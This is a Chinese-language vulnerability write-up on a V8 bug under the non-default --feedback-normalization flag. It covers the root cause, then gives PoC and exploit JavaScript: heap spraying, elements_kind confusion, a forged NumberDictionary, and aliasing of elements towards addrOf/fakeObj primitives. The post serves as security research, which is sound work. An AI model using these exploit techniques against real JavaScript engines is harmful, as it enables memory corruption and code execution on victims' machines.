v8_feedback_normalization_非默认配置RCE漏洞分析与利用
2024-9-3 16:46:55 Author: dawnslab.jd.com(查看原文) 阅读量:24 收藏

1. POC

poc如下, 与--feedback-normalization息息相关

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
const obj = Object;
for (let i = 0; i < 32; i++) {
obj["p" + i] = i;
}





















2. 漏洞分析

漏洞发生时的调用栈如下

1
2
3
4
5
6
[#4] 0x555557944e63 → prototype_or_initial_map()
[#5] 0x555557944e63 → initial_map()
[#6] 0x555559885b2d → initial_map()
[#7] 0x555559885b2d → TransitionToDataProperty()
[#8] 0x5555597fe85e → PrepareTransitionToDataProperty()
[#9] 0x5555599b51fb → TransitionAndWriteDataProperty()

问题出现在feedback_normalization标志相关的代码中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
Handle<Map> Map::TransitionToDataProperty(Isolate* isolate, Handle<Map> map,
Handle<Name> name,
Handle<Object> value,
PropertyAttributes attributes,
PropertyConstness constness,
StoreOrigin store_origin) {
...


map = Update(isolate, map);


MaybeHandle<Map> maybe_transition = TransitionsAccessor::SearchTransition(isolate, map, *name, PropertyKind::kData, attributes);
Handle<Map> transition;
if (maybe_transition.ToHandle(&transition)) {
InternalIndex descriptor = transition->LastAdded();
return UpdateDescriptorForValue(isolate, transition, descriptor, constness, value);
}


TransitionFlag flag = isolate->bootstrapper()->IsActive() ? OMIT_TRANSITION : INSERT_TRANSITION;
MaybeHandle<Map> maybe_map;
if (!map->TooManyFastProperties(store_origin)) {
Representation representation = Object::OptimalRepresentation(*value, isolate);
Handle<FieldType> type = Object::OptimalType(*value, isolate, representation);
maybe_map = Map::CopyWithField(isolate, map, name, type, attributes, constness, representation, flag);
}

Handle<Map> result;

if (!maybe_map.ToHandle(&result)) {
Handle<Object> maybe_constructor(map->GetConstructor(), isolate);
if (v8_flags.feedback_normalization &&
map->new_target_is_base() &&
IsJSFunction(*maybe_constructor) &&
!JSFunction::cast(*maybe_constructor)->shared()->native()) {

Handle<JSFunction> constructor = Handle<JSFunction>::cast(maybe_constructor);

Handle<Map> initial_map(constructor->initial_map(), isolate);

result = Map::Normalize(isolate, initial_map, CLEAR_INOBJECT_PROPERTIES, reason);

initial_map->DeprecateTransitionTree(isolate);

Handle<HeapObject> prototype(result->prototype(), isolate);
JSFunction::SetInitialMap(isolate, constructor, result, prototype);


DependentCode::DeoptimizeDependencyGroups(isolate, *initial_map, DependentCode::kInitialMapChangedGroup);
...
} else {
result = Map::Normalize(isolate, map, CLEAR_INOBJECT_PROPERTIES, reason);
}
}

return result;
}

我们发现constructor->initial_map()会尝试获取job(Object)->map->constructor->initial_map字段.

考虑下面这个例子

  • job(f)->initial_map是lazy分配的, 在有对象new之前都是空
  • new f()之后, 就会创建map并写入job(f)->initial_map, 作为obj的隐式类
1
2
3
4
5
function f() {

};
let obj = new f();
%DebugPrint(f);

也就是说下面这段获取对象构造方法的代码假设了: 如果一个对象具有JSFunction类型的构造方法, 那么该构造方法一定具有initial_map

换成代码表示就是, 如果job(obj)->map->constructorJSFunction, 那么job(obj)->map->constructor一定具有initial_map字段. 不然job(obj)->map来自于哪里呢?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
if (!maybe_map.ToHandle(&result)) {    
Handle<Object> maybe_constructor(map->GetConstructor(), isolate);
if (v8_flags.feedback_normalization &&
map->new_target_is_base() &&
IsJSFunction(*maybe_constructor) &&
!JSFunction::cast(*maybe_constructor)->shared()->native()) {

Handle<JSFunction> constructor = Handle<JSFunction>::cast(maybe_constructor);

Handle<Map> initial_map(constructor->initial_map(), isolate);
...
} else {
result = Map::Normalize(isolate, map, CLEAR_INOBJECT_PROPERTIES, reason);
}
}

但是在本例子中job(Object)->map->constructor打破了这个假设. Object是一个特殊的对象, Object->map->constructor虽然是一个JSFunction, 但是这个constructor中并没有initial_map字段, 从而打破了这个假设

image

initial_map()定义如下, DCEHCK条件为map()->has_prototype_slot(), 也就是说要求job(Object)->map->constructor->map->has_prototype_slot()为true, 也就是说要求Object的构造方法具有一个原型slot

1
2
3
4
5
6
7
8
DEF_GETTER(JSFunction, initial_map, Tagged<Map>) {
return Map::cast(prototype_or_initial_map(cage_base, kAcquireLoad));
}

RELEASE_ACQUIRE_ACCESSORS_CHECKED(JSFunction, prototype_or_initial_map,
Tagged<HeapObject>,
kPrototypeOrInitialMapOffset,
map()->has_prototype_slot())

JSFunction的定义如下, 根据注释可知, JSFunctionprototype_or_initial_map字段是可能不分配的, map()->has_prototype_slot()就表示是否分配了该字段

1
2
3
4
5
6
7
8
9
10
11
12
13
14


@highestInstanceTypeWithinParentClassRange
extern class JSFunction extends JSFunctionOrBoundFunctionOrWrappedFunction {


@if(V8_ENABLE_SANDBOX) code: IndirectPointer<Code>;
@ifnot(V8_ENABLE_SANDBOX) code: Code;
shared_function_info: SharedFunctionInfo;
context: Context;
feedback_cell: FeedbackCell;

prototype_or_initial_map: JSReceiver|Map;
}

总结:

  • JSFunction::prototype_or_initial_map是有可能不分配的, JSFunction::map::has_prototype_slot就表示该字段是否分配了
  • 这部分代码假设了: 如果一个对象具有JSFunction类型的构造方法, 那么该构造方法对象一定具有initial_map字段
  • Object对象的构造方法打破了这个假设, job(Object)->map->constructor是一个JSFunction类型的对象, 但是该对象并没有prototype_or_initial_map字段, 尽管他是Object的构造方法

3. 漏洞利用

针对这个越界读的漏洞, 需要思考下列问题:

  • 能否控制越界读到的内容
  • 能否控制进行越界的对象, 也就是改变越解读的位置
  • 这个越界读的后果
  • 先研究一下Objectjob(Object)->map->constructor的来源, 也就是他们是怎么被分配的

3.1 控制constructor后面的对象

job(Object)->map->constructor后面的对象如下, 似乎不是随机的, 研究下这个对象是怎么申请出来的, 能否释放掉
image

后面的对象的地址为0x328a00141e65, 发现job(Object)->map->constructor后面就是job(Object)->map->constructor->properties
image
内存布局如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
                                  ----------------  -------------
job(Object)->map->constructor => | map | ^
---------------- |
---------| properties | |
| ---------------- |
| | elements |
| ---------------- JSFunction
| | code |
| ---------------- |
| | shared_info | |
| ---------------- |
| | context | |
| ---------------- |
| | feedback_cell | V
| ---------------- ---------------
L------->| map | ^ <==== Overflow, treat as prototype_or_initial_map
---------------- |
| length | |
----------------
| "Function" | PropertyArray
----------------
| "apply" | |
---------------- |
| .... | V

所以只要修改job(Object)->map->constructor中的属性, 使得job(Object)->map->constructor->properties需要重新申请, 那么后面的PropertyArray对象自然就没用了, 就会被释放掉

POC如下

1
2
3
4
5
6
let obj = Object;



Object.__proto__["aaa"] = 123;
gc();

这样就会使得后面变成表示空闲空间的FreeSpace对象

1
2
3
4
extern class FreeSpace extends HeapObject {
size: Smi;
next: FreeSpace|Smi|Uninitialized;
}

gc()之后如下

image

之后通过堆喷就可以在job(Object)->map->constructor后面放置任意js对象

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
let obj = Object;



Object.__proto__["aaa"] = 123;
gc();





function heap_spray(){
let arr = [];
for(let i=0; i<300000; i++) {

let o = {a:1, b:2, c:3, d:4, e:i};
arr.push(o);
}
}
heap_spray();

%DebugPrint(Object.__proto__);
%SystemBreak();

3.2 elements_kind混淆

下面需要思考控制了之后能达到什么效果?

越界读initial_map后的相关操作如下

  • 根据initial_map进行Normalize(), 也就是根据initial_map生成表示dictionary的map
  • initial_map相关的map transition都弃用并进行反优化
  • 调用EquivalentToForNormalization(), 如果基于initial_map Normalize()的结果与map并不等价, 那么就会基于map进行Normalize, 此时map就相当于失效了
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
Handle<Map> Map::TransitionToDataProperty(Isolate* isolate, Handle<Map> map,
Handle<Name> name,
Handle<Object> value,
PropertyAttributes attributes,
PropertyConstness constness,
StoreOrigin store_origin) {
...

Handle<Map> result;

if (!maybe_map.ToHandle(&result)) {
Handle<Object> maybe_constructor(map->GetConstructor(), isolate);
if (v8_flags.feedback_normalization &&
map->new_target_is_base() &&
IsJSFunction(*maybe_constructor) &&
!JSFunction::cast(*maybe_constructor)->shared()->native()) {

Handle<JSFunction> constructor = Handle<JSFunction>::cast(maybe_constructor);

Handle<Map> initial_map(constructor->initial_map(), isolate);

result = Map::Normalize(isolate, initial_map, CLEAR_INOBJECT_PROPERTIES, reason);

initial_map->DeprecateTransitionTree(isolate);

Handle<HeapObject> prototype(result->prototype(), isolate);
JSFunction::SetInitialMap(isolate, constructor, result, prototype);


DependentCode::DeoptimizeDependencyGroups(isolate, *initial_map, DependentCode::kInitialMapChangedGroup);


if (!result->EquivalentToForNormalization(*map, CLEAR_INOBJECT_PROPERTIES)) {
result = Map::Normalize(isolate, map, CLEAR_INOBJECT_PROPERTIES, reason);
}
} else {
result = Map::Normalize(isolate, map, CLEAR_INOBJECT_PROPERTIES, reason);
}
}

return result;
}

3.2.1 绕过EquivalentToForNormalization()的检查

下一步就是要绕过EquivalentToForNormalization()的检查, 否则就不会使用我们堆喷对象的隐式类

判断逻辑如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
bool Map::EquivalentToForNormalization(const Tagged<Map> other, PropertyNormalizationMode mode) const {
return EquivalentToForNormalization(other, elements_kind(), prototype(), mode);
}

bool Map::EquivalentToForNormalization(const Tagged<Map> other,
ElementsKind elements_kind,
Tagged<HeapObject> other_prototype,
PropertyNormalizationMode mode) const {
int properties = mode == CLEAR_INOBJECT_PROPERTIES ? 0 : other->GetInObjectProperties();

int adjusted_other_bit_field2 = Map::Bits2::ElementsKindBits::update(other->bit_field2(), elements_kind);
return CheckEquivalentModuloProto(*this, other) &&
prototype() == other_prototype &&
bit_field2() == adjusted_other_bit_field2 &&
GetInObjectProperties() == properties &&
JSObject::GetEmbedderFieldCount(*this) ==
JSObject::GetEmbedderFieldCount(other);
}

调试发现只需要满足CheckEquivalentModuloProto(*this, other)即可

1
2
3
4
5
CheckEquivalentModuloProto(*this, other): 0
prototype() == other_prototype: 1
bit_field2() == adjusted_other_bit_field2: 1
GetInObjectProperties() == properties: 1
JSObject::GetEmbedderFieldCount(*this) == JSObject::GetEmbedderFieldCount(other): 1

CheckEquivalentModuloProto()的判断逻辑如下

1
2
3
4
5
6
7
8
bool CheckEquivalentModuloProto(const Tagged<Map> first,
const Tagged<Map> second) {
return first->GetConstructorRaw() == second->GetConstructorRaw() &&
first->instance_type() == second->instance_type() &&
first->bit_field() == second->bit_field() &&
first->is_extensible() == second->is_extensible() &&
first->new_target_is_base() == second->new_target_is_base();
}

调试发现

1
2
3
4
5
first->GetConstructorRaw() == second->GetConstructorRaw(): 1
first->instance_type() == second->instance_type(): 0
first->bit_field() == second->bit_field(): 0
first->is_extensible() == second->is_extensible(): 1
first->new_target_is_base() == second->new_target_is_base(): 1

对比Normailize(job(o)->map)的结果和原来的map, 如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
0x26ce01e00049: [Map] in OldSpace
- map: 0x26ce00141759 <MetaMap (0x26ce001417a9 <NativeContext[295]>)>
- type: JS_OBJECT_TYPE
- instance size: 12
- inobject properties: 0
- unused property fields: 0
- elements kind: HOLEY_ELEMENTS
- enum length: invalid
- dictionary_map
- may_have_interesting_properties
- back pointer: 0x26ce00000069 <undefined>
- prototype_validity cell: 0x26ce00000a89 <Cell value= 1>
- instance descriptors (own) #0: 0x26ce00000759 <DescriptorArray[0]>
- prototype: 0x26ce00142669 <Object map = 0x26ce00141ca5>
- constructor: 0x26ce001421ad <JSFunction Object (sfi = 0x26ce003140a5)>
- dependent code: 0x26ce00000735 <Other heap object (WEAK_ARRAY_LIST_TYPE)>
- construction counter: 0

0x26ce01e00011: [Map] in OldSpace
- map: 0x26ce00141759 <MetaMap (0x26ce001417a9 <NativeContext[295]>)>
- type: JS_FUNCTION_TYPE
- instance size: 32
- inobject properties: 0
- unused property fields: 0
- elements kind: HOLEY_ELEMENTS
- enum length: invalid
- stable_map
- callable
- constructor
- has_prototype_slot
- back pointer: 0x26ce00156f41 <Map[32](HOLEY_ELEMENTS)>
- prototype_validity cell: 0x26ce00158619 <Cell value= 0>
- instance descriptors (own) #27: 0x26ce00c70cd1 <DescriptorArray[27]>
- prototype: 0x26ce00141e49 <JSFunction (sfi = 0x26ce000c74b5)>
- constructor: 0x26ce00141e49 <JSFunction (sfi = 0x26ce000c74b5)>
- dependent code: 0x26ce00000735 <Other heap object (WEAK_ARRAY_LIST_TYPE)>
- construction counter: 0

为了让type都是JS_FUNCTION_TYPE, 因此需要堆喷JSFunction对象, JSFunction对象刚好0x20大小, poc如下, 就可以绕过EquivalentToForNormalization()的判断

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
let obj = Object;



Object.__proto__["aaa"] = 123;
gc();

let arr = [];
function heap_spray(){
for(let i=0; i<300000; i++) {

let o = function (){};





o["CanBeDeprecated"] = 1;
arr.push(o);
}
}
heap_spray();




for (let i = 0; i < 3; i++) {
print("============> " + i);
obj["p" + i] = i;
}

%SystemBreak();

对比Normailize(job(o)->map)的结果和原来的map, 如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
# Normarlize(job(o)->map)的结果
0x19e2010309d1: [Map] in OldSpace
- map: 0x19e200141759 <MetaMap (0x19e2001417a9 <NativeContext[295]>)>
- type: JS_FUNCTION_TYPE
- instance size: 32
- inobject properties: 0
- unused property fields: 0
- elements kind: HOLEY_ELEMENTS
- enum length: invalid
- dictionary_map
- may_have_interesting_properties
- callable
- constructor
- has_prototype_slot
- back pointer: 0x19e200000069 <undefined>
- prototype_validity cell: 0x19e200000a89 <Cell value= 1>
- instance descriptors (own) #0: 0x19e200000759 <DescriptorArray[0]>
- prototype: 0x19e200141e49 <JSFunction (sfi = 0x19e2000c74b5)>
- constructor: 0x19e200141eed <JSFunction Function (sfi = 0x19e2003148e5)>
- dependent code: 0x19e200000735 <Other heap object (WEAK_ARRAY_LIST_TYPE)>
- construction counter: 0

# 原来的
0x19e201030999: [Map] in OldSpace
- map: 0x19e200141759 <MetaMap (0x19e2001417a9 <NativeContext[295]>)>
- type: JS_FUNCTION_TYPE
- instance size: 32
- inobject properties: 0
- unused property fields: 0
- elements kind: HOLEY_ELEMENTS
- enum length: invalid
- stable_map
- callable
- constructor
- has_prototype_slot
- back pointer: 0x19e200156f41 <Map[32](HOLEY_ELEMENTS)>
- prototype_validity cell: 0x19e2001586e5 <Cell value= 0>
- instance descriptors (own) #27: 0x19e2013b857d <DescriptorArray[27]>
- prototype: 0x19e200141e49 <JSFunction (sfi = 0x19e2000c74b5)>
- constructor: 0x19e200141e49 <JSFunction (sfi = 0x19e2000c74b5)>
- dependent code: 0x19e200000735 <Other heap object (WEAK_ARRAY_LIST_TYPE)>
- construction counter: 0

3.2.2 Normalize()后map中可控的字段

现在虽然可以绕过了, 但似乎无事发生, Normalize()具体是怎么转换的, 怎么利用这个扩大战果?

  • 也就是说EquivalentToForNormalization()中限制的字段都不能改动,
  • 研究Normailze()看一下哪些可以控制, 从而找到最终的可随意控制的字段

EquivalentToForNormalization()中检查的相关代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

int properties = mode == CLEAR_INOBJECT_PROPERTIES ? 0 : other->GetInObjectProperties();

int adjusted_other_bit_field2 = Map::Bits2::ElementsKindBits::update(other->bit_field2(), elements_kind);
prototype() == other_prototype &&
bit_field2() == adjusted_other_bit_field2 &&
GetInObjectProperties() == properties &&
JSObject::GetEmbedderFieldCount(*this) == JSObject::GetEmbedderFieldCount(other);

first->GetConstructorRaw() == second->GetConstructorRaw() &&
first->instance_type() == second->instance_type() &&
first->bit_field() == second->bit_field() &&
first->is_extensible() == second->is_extensible() &&
first->new_target_is_base() == second->new_target_is_base();

总结:

  • 原型对象一样: result->prototype() == map->prototype() = Function的原型对象
  • result->bit_field2 == ElementsKindBits::update(map->bit_filed2, result->elements_kind). 也就是map->bit_field2除了elements_kind字段其余的要和result->bit_field2一致
  • 没有in-obj属性: result->GetInObjectProperties()==0
  • GetEmbedderFieldCount()表示内嵌的字段一致
  • 最原始的构造方法一致: result->constructor->map->constructor->...->map->constructor最终找到的是一致的
  • instance_type字段完全一致
  • bit_field字段完全一致
  • bit_field2->is_extensible一致
  • bit_field2->new_target_is_base一致

Normalize()的过程如下.

  • Normailize()之后就变成了dictionary map, 也就是说对象的proeprties使用字典来表示, 命名属性的key value都保存在这个字段中, map不再使用descriptor array保存属性名
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76

Handle<Map> Map::Normalize(Isolate* isolate, Handle<Map> fast_map, PropertyNormalizationMode mode, const char* reason) {
const bool kUseCache = true;
return Normalize(isolate, fast_map, fast_map->elements_kind(), Handle<HeapObject>(), mode, kUseCache, reason);
}

Handle<Map> Map::Normalize(Isolate* isolate,
Handle<Map> fast_map,
ElementsKind new_elements_kind,
Handle<HeapObject> new_prototype,
PropertyNormalizationMode mode,
bool use_cache,
const char* reason) {
...
Handle<Map> new_map;
if (use_cache && ...) {
...
} else {
new_map = Map::CopyNormalized(isolate, fast_map, mode);
new_map->set_elements_kind(new_elements_kind);
...
}
fast_map->NotifyLeafMapLayoutChange(isolate);
return new_map;
}

Handle<Map> Map::CopyNormalized(Isolate* isolate, Handle<Map> map, PropertyNormalizationMode mode) {
int new_instance_size = map->instance_size();
if (mode == CLEAR_INOBJECT_PROPERTIES) {
new_instance_size -= map->GetInObjectProperties() * kTaggedSize;
}

Handle<Map> result = RawCopy(isolate, map, new_instance_size, mode == CLEAR_INOBJECT_PROPERTIES ? 0 : map->GetInObjectProperties());
{
DisallowGarbageCollection no_gc;
Tagged<Map> raw = *result;


raw->SetInObjectUnusedPropertyFields(0);
raw->set_is_dictionary_map(true);
raw->set_is_migration_target(false);
raw->set_may_have_interesting_properties(true);
raw->set_construction_counter(kNoSlackTracking);
}


return result;
}

Handle<Map> Map::RawCopy(Isolate* isolate, Handle<Map> src_handle, int instance_size, int inobject_properties) {
Handle<Map> result = isolate->factory()->NewMap(src_handle, src_handle->instance_type(), instance_size, TERMINAL_FAST_ELEMENTS_KIND, inobject_properties);
{
DisallowGarbageCollection no_gc;
Tagged<Map> src = *src_handle;
Tagged<Map> raw = *result;
raw->set_constructor_or_back_pointer(src->GetConstructorRaw());
raw->set_bit_field(src->bit_field());
raw->set_bit_field2(src->bit_field2());
int new_bit_field3 = src->bit_field3();
new_bit_field3 = Bits3::OwnsDescriptorsBit::update(new_bit_field3, true);
new_bit_field3 = Bits3::NumberOfOwnDescriptorsBits::update(new_bit_field3, 0);
new_bit_field3 = Bits3::EnumLengthBits::update(new_bit_field3, kInvalidEnumCacheSentinel);
new_bit_field3 = Bits3::IsDeprecatedBit::update(new_bit_field3, false);
new_bit_field3 = Bits3::IsInRetainedMapListBit::update(new_bit_field3, false);
if (!src->is_dictionary_map()) {
new_bit_field3 = Bits3::IsUnstableBit::update(new_bit_field3, false);
}

raw->set_bit_field3(new_bit_field3);
raw->clear_padding();
}
Handle<HeapObject> prototype(src_handle->prototype(), isolate);
Map::SetPrototype(isolate, result, prototype);
return result;
}

Map中包含如下字段

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
bitfield struct MapBitFields2 extends uint8 {
new_target_is_base: bool: 1 bit; // 要求一致
is_immutable_prototype: bool: 1 bit; // 要求一致
elements_kind: ElementsKind: 6 bit; // <=== 可不一致, 根据initial_map设置, 可控
}

bitfield struct MapBitFields3 extends uint32 {
enum_length: int32: 10 bit; // 不可控, 恒为invalid
number_of_own_descriptors: int32: 10 bit; // 不可控, 恒为0
is_prototype_map: bool: 1 bit; // 不可控, 恒为false
is_dictionary_map: bool: 1 bit; // 不可控, 恒为true
owns_descriptors: bool: 1 bit; // 不可控, 恒为false
is_in_retained_map_list: bool: 1 bit; // 不可控, 恒为false
is_deprecated: bool: 1 bit; // 不可控, 恒为0
is_unstable: bool: 1 bit;
is_migration_target: bool: 1 bit; // 不可控, 恒为false
is_extensible: bool: 1 bit;
may_have_interesting_properties: bool: 1 bit; // 不可控, 恒为true
construction_counter: int32: 3 bit;
}


extern class Map extends HeapObject {
...
// 这两个字段相等, 也就是没有in-obj property
instance_size_in_words: uint8;
inobject_properties_start_or_constructor_function_index: uint8;

used_or_unused_instance_size_in_words: uint8;
visitor_id: uint8;
instance_type: InstanceType; // 要求一致, 所以只能是JSFunction
bit_field: MapBitFields1; // 要求一致
bit_field2: MapBitFields2; // 要求除了elements_kind都一致, 根据initial_map设置, 可控
bit_field3: MapBitFields3; // <== 可不一致, 根据initial_map设置, 但基本都不可控
...

prototype: JSReceiver|Null; // 要求一致, 根据initial_map设置, 可控
constructor_or_back_pointer_or_native_context: Object; // 要求最终的constructor都是一样的, 继承自initial_map
instance_descriptors: DescriptorArray; // 不可控, 恒为空
dependent_code: DependentCode;
prototype_validity_cell: Smi|Cell;
transitions_or_prototype_info: Map|Weak<Map>|TransitionArray|PrototypeInfo|Smi;
}

目标字段筛选

  1. EquivalentToForNormalization中允许不一致的
  2. 并且Normalize()根据initial_map设置的字段, 那么就是我们可任意控制的

符合这两个条件的只有elements_kind字段
也就是说TransitionToDataProperty()在属性过多需要转换为dictionary map时, 会使用map->constructor->initial_mapelements_kind设置新隐式类的elements_kind

3.2.3 如何混淆elements_kind

elements kind的lattice如下, elements kind只能沿着格子向下转换, 也就是逐步变得更加的泛化, 下面这些都是fast elements kind, 也就是基于数组的

image

elements kind表示对象的可排序属性的保存方式, 对于下面这个默认job(o)->map->elements_kind = HOLEY_ELEMENTS, 他要变得更加宽泛就只能变成DICTIONARY_ELEMENTS

1
2
let o = function (){};
o["CanBeDeprecated"] = 1;

这部分EXP如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
let obj = Object;



Object.__proto__["aaa"] = 123;


let arr = [];
function heap_spray(cnt){
for(let i=0; i<cnt; i++) {
if(i%1000==0)
print("heap spray ============> " + i);










let o = function (){};






o["CanBeDeprecated"] = i;








for(let i=0; i<16; i++) {
o[i*1000] = i;
}
arr.push(o);
}
}
heap_spray(37000);


obj[0] = 0;
obj[1] = 1;
obj[2] = 2;
obj[3] = 3;




for (let i = 0; i < 3; i++) {
print("add property ============> " + i);
obj["p" + i] = i;
}

print("====== try to read");
%DebugPrint(obj);


print(obj[0]);
%SystemBreak();

由此扩大了战果, 得到了新的crash

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# Fatal error in ../../src/objects/object-type.cc, line 82
# Type cast failed in CAST(elements) at ../../src/ic/accessor-assembler.cc:2561
Expected NumberDictionary but found 0xdf9004ff835: [FixedArray]
- map: 0x0df90000056d <Map(FIXED_ARRAY_TYPE)>
- length: 17
0: 0
1: 1
2: 2
3: 3
4-16: 0x0df900000741 <the_hole_value>

#
#
#
#FailureMessage Object: 0x7fffffffcb70
==== C stack trace ===============================

3.3 内存越界实现addrOf与fakeObj原语

总结一下之前的利用过程

  • 首先是越界读误把job(Object)->map->constructor后面一个对象的map作为当作是job(Object)->map->constructor->initial_map
  • job(Object)->map->constructor后面一个对象刚好就是job(Object)->map->constructor->properties指向的PropertyArray对象. 添加属性释放该对象并通过堆喷使得越界读到的map字段可控
  • 越界读到initial_map后会调用Normalize(initial_map)将其转换为dictionary_map, 并且会调用EquivalentToForNormalization()检查一些字段是否与job(Object)->map一致, 确认无误后, Normalize(initial_map)会作为job(Object)->map
  • Normalize()EquivalentToForNormalization()不会对elements_kind字段进行任何检查, 默认job(Object)->map->elements_kindjob(Object)->map->constructor->initial->elements_kind是一致的, 由此导致job(Object)->map->elements_kind可以被伪造, 从HOLEY_ELEMENTS被覆盖为DICTIONARY_ELEMENTS, 但是job(Object)->elements不会改变

现在的问题: 把HOLEY_ELEMENTS混淆为DICTIONARY_ELEMENTS后如何利用?

研究读写elements时进行的操作, 看看能否转换为任意读写

3.3.1 NumberDictionary的内存布局

JSObject::eleemtns字段有两种模式

  • fast: 始终指向FixedArray类型的对象
  • slow: 指向NumberDictionary类型的对象
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
extern class JSObject extends JSReceiver {
















elements: FixedArrayBase;
}

FixedArrayBaseFixedArrayNumberDictionary的基类, 发现NumberDictionaryFixedArray的子类, 内存布局完全一致, 只是对于数组中项使用上的区别, 这是非常好的性质, 可以通过FixedArray中的SMI或者指针任意伪造NumberDictionary中的一些元数据字段

1
2
3
4
5
6
7
8
9
10
11
extern class FixedArrayBase extends HeapObject {
const length: Smi;
}

extern class FixedArray extends FixedArrayBase {
objects[length]: Object;
}

extern class HashTable extends FixedArray generates 'TNode<FixedArray>';

extern class NumberDictionary extends HashTable;

那么NumberDictionary中数组的项有哪些用于元数据呢? 对于下面例子

1
2
3
4
5
6
7
8
let o = {};
o[0] = 0xFF00>>1;
o[1] = 0xFF01>>1;
o[2] = 0xFF02>>1;
o[9999] = 0xFFCC>>1;
delete o[0];
%DebugPrint(o);
%SystemBreak();

o的对象表示如下
image

内存布局如下

  • NumberDictionary采用数组来实现一个hash表, 解决hash冲突的方式简单, 如果如果hash(key) = i, 但是Entry[i]已经被占用了, 那么就直接延后尝试放在Entry[i+1], Entry[i+2], ...
  • 因此在查询NumberDictionary时, 如果hash(key) = i, 那么就需要从Entry[i]开始遍历数组, 直到Entry[i].key == key为止
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
NumberDictionary:
|---------------------|
| map |
|---------------------|
| length |
|---------------------|
| elements | <= 0
|---------------------|
| deleted |
|---------------------|
| capacity |
|---------------------|
| max_key |
|---------------------|
| key | <= Entry[0]
|---------------------|
| value |
|---------------------|
| details |
|---------------------|
| key | <= Entry[1]
|---------------------|
| value |
|---------------------|
| details |
|---------------------|
....

3.3.2 伪造NumberDictionary对象

现在可以伪造一个NumberDictionary对象了, 应该尝试给一个很大的capacity, 使其越界读写

想要实现OOB需要解决两个问题

  • 如何控制entry索引
  • 如果控制job(obj)->elements后面的内存

回顾搜索过程, initial_entry = hash(index)&(capacity-1), hash计算的过程如下, 关键的是计算hash时会与HashSeed进行异或, 但是HashSeed()是随机数的不可控, 这就导致hash(index)的结果不可控

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
static uint32_t ComputeSeededIntegerHash(Isolate* isolate, int32_t key) {
DisallowGarbageCollection no_gc;
return ComputeSeededHash(static_cast<uint32_t>(key), HashSeed(isolate));
}


void Heap::InitializeHashSeed() {
DCHECK(!deserialization_complete_);
uint64_t new_hash_seed;
if (v8_flags.hash_seed == 0) {
int64_t rnd = isolate()->random_number_generator()->NextInt64();
new_hash_seed = static_cast<uint64_t>(rnd);
} else {
new_hash_seed = static_cast<uint64_t>(v8_flags.hash_seed);
}
Tagged<ByteArray> hash_seed = ReadOnlyRoots(this).hash_seed();
MemCopy(hash_seed->begin(), reinterpret_cast<uint8_t*>(&new_hash_seed),
kInt64Size);
}

思路

  • capacity是自己可以完全控制的, 不一定要完全为2的幂, 如果是0x1, 那么hash的结果就恒定为0, 这样就可以消除hash与随机数带来的熵
  • initial_entry只是大数组中起始搜索的位置, 只要key匹配不上后续就会一致遍历

那么怎么布局堆? 溢出覆盖哪一个对象?
现在是一个部分受限制的数组OOB

  • Entry[i].key必须已知
  • Entry[i].value可以被任意读写
  • Entry[i].details的最后1bit必须是0, 必须是SMI
  • i必须是2^n - 1, 这样稳定性最高, 位于数组最后一个, 无论initial_entry从哪里开始都可以命中. 这个可以通过填充[1, 2, 3, ...]来控制, 不难解决
    图示:
1
2
3
4
5
6
7
 -------------
| 可知值 | <= Entry[i].key
--------------
| 被读写 | <= Entry[i].value
--------------
| 末尾1bit=0 | <= Entry[i].details, 必须是SMI
--------------

或者溢出就控制JSArray中的元素, 因为想在相当于有了两种写入同一个对象中元素的方式, 能否搞出一个类型混淆, 直接实现fakeObj和addrOf原语?

POC如下, obj[0xDD]arr[7]实际引用到的是同一个元素

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46



obj[0] = 0x7;
obj[1] = 0x0;
obj[2] = 0x8;
obj[3] = 0x8;


for(let entry=0; entry<4; entry++){
obj[4+entry*3+0] = entry;
obj[4+entry*3+1] = 0x0;
obj[4+entry*3+2] = 0x0;
}
obj[4+4*3+0] = 0xCC>>1;





let arr = Array.of(
0x0,
0x0,
0x0,
0x0,
0x0,
0x0,
0xDD,
0xbeef,
0x0,
);




for (let i = 0; i < 3; i++) {
print("add property ============> " + i);
obj["p" + i] = i;
}



print("====== try to read obj[0xDD]");
print(obj[0xDD]);
